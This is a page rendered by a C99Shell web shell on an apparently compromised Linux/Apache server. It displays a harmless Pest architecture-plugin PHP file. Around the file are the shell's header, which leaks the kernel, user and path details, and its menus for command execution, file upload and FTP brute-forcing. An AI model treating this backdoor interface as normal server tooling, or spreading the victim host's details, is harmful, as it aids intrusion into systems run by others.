!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/pestphp/pest-plugin-arch/src/Factories/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ObjectDescriptionFactory.php (3.1 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Arch\Factories;

use 
Pest\Arch\Objects\ObjectDescription;
use 
Pest\Arch\Objects\VendorObjectDescription;
use 
Pest\Arch\Support\PhpCoreExpressions;
use 
PHPUnit\Architecture\Asserts\Dependencies\Elements\ObjectUses;
use 
PHPUnit\Architecture\Services\ServiceContainer;
use 
ReflectionClass;
use 
ReflectionFunction;

/**
 * @internal
 */
final class ObjectDescriptionFactory
{
    
/**
     * Whether the Service Container class has been initialized.
     */
    
private static bool $serviceContainerInitialized false;

    
/**
     * Makes a new Object Description instance, is possible.
     */
    
public static function make(string $filenamebool $onlyUserDefinedUses true): ?\PHPUnit\Architecture\Elements\ObjectDescription
    
{
        
self::ensureServiceContainerIsInitialized();

        
$isFromVendor str_contains((string) realpath($filename), DIRECTORY_SEPARATOR.'vendor'.DIRECTORY_SEPARATOR);

        
$originalErrorReportingLevel error_reporting();
        
error_reporting($originalErrorReportingLevel & ~E_USER_DEPRECATED);

        try {
            
$object $isFromVendor
                
VendorObjectDescription::make($filename)
                : 
ObjectDescription::make($filename);

        } finally {
            
error_reporting($originalErrorReportingLevel);
        }

        if (
$object === null) {
            return 
null;
        }

        if (! 
$isFromVendor) {
            
$object->uses = new ObjectUses(array_values(
                
array_filter(
                    
iterator_to_array($object->uses->getIterator()),
                    static fn (
string $use): bool => (! $onlyUserDefinedUses || self::isUserDefined($use)) && ! self::isSameLayer($object$use),
                )
            ));
        }

        return 
$object;
    }

    
/**
     * Ensures the Service Container class is initialized.
     */
    
private static function ensureServiceContainerIsInitialized(): void
    
{
        if (! 
self::$serviceContainerInitialized) {
            
ServiceContainer::init();

            
self::$serviceContainerInitialized true;
        }
    }

    
/**
     * Checks if the given use is "user defined".
     */
    
private static function isUserDefined(string $use): bool
    
{
        if (
PhpCoreExpressions::getClass($use) !== null) {
            return 
false;
        }

        return match (
true) {
            
enum_exists($use) => (new \ReflectionEnum($use))->isUserDefined(),
            
function_exists($use) => (new ReflectionFunction($use))->isUserDefined(),
            
class_exists($use) => (new ReflectionClass($use))->isUserDefined(),
            
interface_exists($use) => (new ReflectionClass($use))->isUserDefined(),
            
// ...

            
default => true,
        };
    }

    
/**
     * Checks if the given use is in the same layer as the given object.
     */
    
private static function isSameLayer(\PHPUnit\Architecture\Elements\ObjectDescription $objectstring $use): bool
    
{
        return 
$use === 'self'
            
|| $use === 'static'
            
|| $use === 'parent'
            
|| $object->reflectionClass->getNamespaceName() === $use;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--